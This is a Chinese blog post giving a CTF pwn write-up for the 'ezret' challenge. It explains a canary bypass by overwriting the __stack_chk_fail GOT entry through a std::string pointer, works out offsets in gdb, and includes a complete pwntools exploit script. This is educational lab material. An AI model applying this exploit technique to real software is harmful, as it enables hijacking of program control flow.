首页 > 其他分享 >暑期集训ezret(学会看gdb)

暑期集训ezret(学会看gdb)

时间:2024-07-16 14:31:17浏览次数:9  
标签:函数 chk 暑期 stack gdb ezret fail got payload

64位ida打开并反汇编的main():


进入input_person函数:


仔细看可以找到一个特别的函数名win,点进去发现是后门:


根据ida看出程序的基本逻辑是输入name和age,输出age和name

很多时候ida会抽风(bushi),就比如operater=里面的参数没给,不过没关系,我们可以猜(),可以看出input_person里面v11(age)是个引用,而v12(name)是个指针,而我们输入的v3(name)是字符串(string),再根据c++运算符重载我们猜测operator=是让v12指向v3的地址。

看看保护:canary和NX

思路:

canary绕过中有一种方法:
在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。
又已知后门函数地址,我们可以将后门函数地址写入v3,让v12指向它(注意operator=在运行时是从头开始读取,所以win的地址要存在开头),再根据延迟绑定机制将win地址写入stack_chk_fail的got表里,这样在触发canary保护时系统运行的就是后门函数了。

gdb调试

input_person处下断点,运行到函数即将结束时查看当前的栈


可以看到输入位置距离rbp为0x110(包括输入),而进入到主函数后v12指向v3的位置距离rbp为0x20,故中间填充部分大小为0x110+0x20-0x8=0x128(当然也可以使用ljust函数,0x130左对齐)

wp

from pwn import *

context(log_level='debug', arch="amd64", os='linux')

p=remote("127.0.0.1",40731)
#p = process("./ezret")

elf = ELF("./ezret")
 

stack_chk_fail_got = elf.got['__stack_chk_fail'] #0x404050

win_addr = 0x4012f6

#payload = p64(win_addr)
#payload = payload.ljust( 0x130,b'\x00')

payload = p64(win_addr)   #这占0x8
payload += b'\x00'*0x128    #加起来一共0x130,和注释的wp一个意思
#payload += p64(stack_chk_fail_got)   #这样本地可以,但远端打不过,跟debug行为有关(存个疑)

payload += flat(stack_chk_fail_got,0x6,0x3)
#gdb.attach(p)
#pause()
p.sendline( payload)
#pause()

p.sendline( b'46565')

p.interactive()

上述代码中payload += flat(stack_chk_fail_got,0x6,0x3),0x6的位置是string结构体的size部分,0x3的位置是试出来的,大于某个不知名的字节数就可以,具体原理听学长讲了几遍还是不能理解,等以后做到这类题再慢慢看吧QAQ......

标签:函数,chk,暑期,stack,gdb,ezret,fail,got,payload
From: https://www.cnblogs.com/V1V0/p/18305163

相关文章

  • 暑期特训——2023河南省赛
    A(模拟)题目大意输入输出题目思路枚举下标i,从左往右枚举,直到出现重复字符判断s[i+1:]是否是回文串注意:题目中说a和b是非空的题目代码fromsysimportstdin,setrecursionlimitsetrecursionlimit(100000)input=lambda:stdin.readline().strip()r1=lambda:......
  • 暑期观影 / 纪录片推荐
    前言推荐指数为\(1\sim6\)的整数,指数越高表示个人认为该影视作品更值得观看。纪录片《风味人间》:继《舌尖上的中国》后又一美食纪录片巨作,这次将镜头对准了全球,在观看美食的同时了解各地的地理特点、风土人情;(推荐指数:5)《航拍中国》:可以让你一边游览大美中国,一边学习地理知......
  • 最喜欢dp动态规划的一次(暑期刷题)
    以积极的态度面对生活,才能感受到人生的美好!dp动态规划-第一天前言1、环绕字符串中唯一的子字符串2、最长递增子序列3、摆动序列4、最长递增子序列的个数5、最长数对链6、最长定差子序列7、最长的斐波那契子序列的长度8、总结前言所有的问题可能不止一种方法,但是由......
  • 暑期训练第一周周报
    总体学习情况这周的强度还是很大的,二分和简单数据结构的牛客题单还没有刷完,想着把补题放到第一位,然后后面慢慢补上那些没有做的题,比赛打得还是依旧很拉,不过没有关系,太阳照常升起,总会赢的。知识点模块1.Floyd算法用来求两点到达的最小代价,复杂度是O(n3)其实代码并不难记,可以说板......
  • 暑期每周总结
     每周总结 这一周,我进行大数据技术的学习和应用。首先,我成功配置了Hadoop的YARN和Hive。YARN是Hadoop的资源管理器,它在集群上管理和调度计算资源,而Hive是一个基于Hadoop的数据仓库工具,它提供了类似SQL的查询语言,用于分析存储在Hadoop分布式文件系统(HDFS)中的大数据。通过这次配......
  • 南京大学计算理论之美 (Summer 2024)暑期学校游记
    day-nzero4338和我说有这么个暑校,报名了day0到了钟山风雨地,石头城下水南京到了南京大学(仙林校区),被硬件震撼了一波和zero4338两人互相贩卖焦虑:为啥还没预习这个,也没预习那个到了南京大学(鼓楼校区),和同学转鼓楼校区,和同学和zero4338和同学吃饭回酒店之后说预习预习,但是......
  • 0173-GDB 调试汇编程序
    环境Time2022-11-12WSL-Ubuntu22.04QEMU6.2.0NASM2.15.05前言说明参考:https://os.phil-opp.com/multiboot-kernel/参考:https://ncona.com/2019/12/debugging-assembly-with-gdb/目标编写一个简单的汇编程序,使用GDB进行调试。汇编程序section.textglobal......
  • 0175-GDB 调试 multiboot 启动
    环境Time2022-11-12WSL-Ubuntu22.04QEMU6.2.0NASM2.15.05前言说明参考:https://os.phil-opp.com/multiboot-kernel/目标使用编写好的内核可执行文件,直接从QEMU启动,启动时暂停CPU,使用GDB调试。汇编代码section.multiboot_headerheader_start:dd0x1BAD......
  • 暑期课程学一学XSS攻击,以及开源项目
    XSS存储型本文主要是使用vulstudy直接搭建的漏洞环境,是其中的DVWA。然后随手记一个反弹shell的工具反弹shell工具。原理存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言......
  • 013 GDB跟踪程序
    题目要求请学习gdb调试工具的使用(这对后续调试很重要),并通过gdb简单跟踪从机器加电到跳转到0x80200000的简单过程。只需要描述重要的跳转即可,只需要描述在qemu上的情况。启动调试和监听的指令使用[[010基于SBI服务完成输出和关机#^fb8fca|之前学到的指令]],开启两......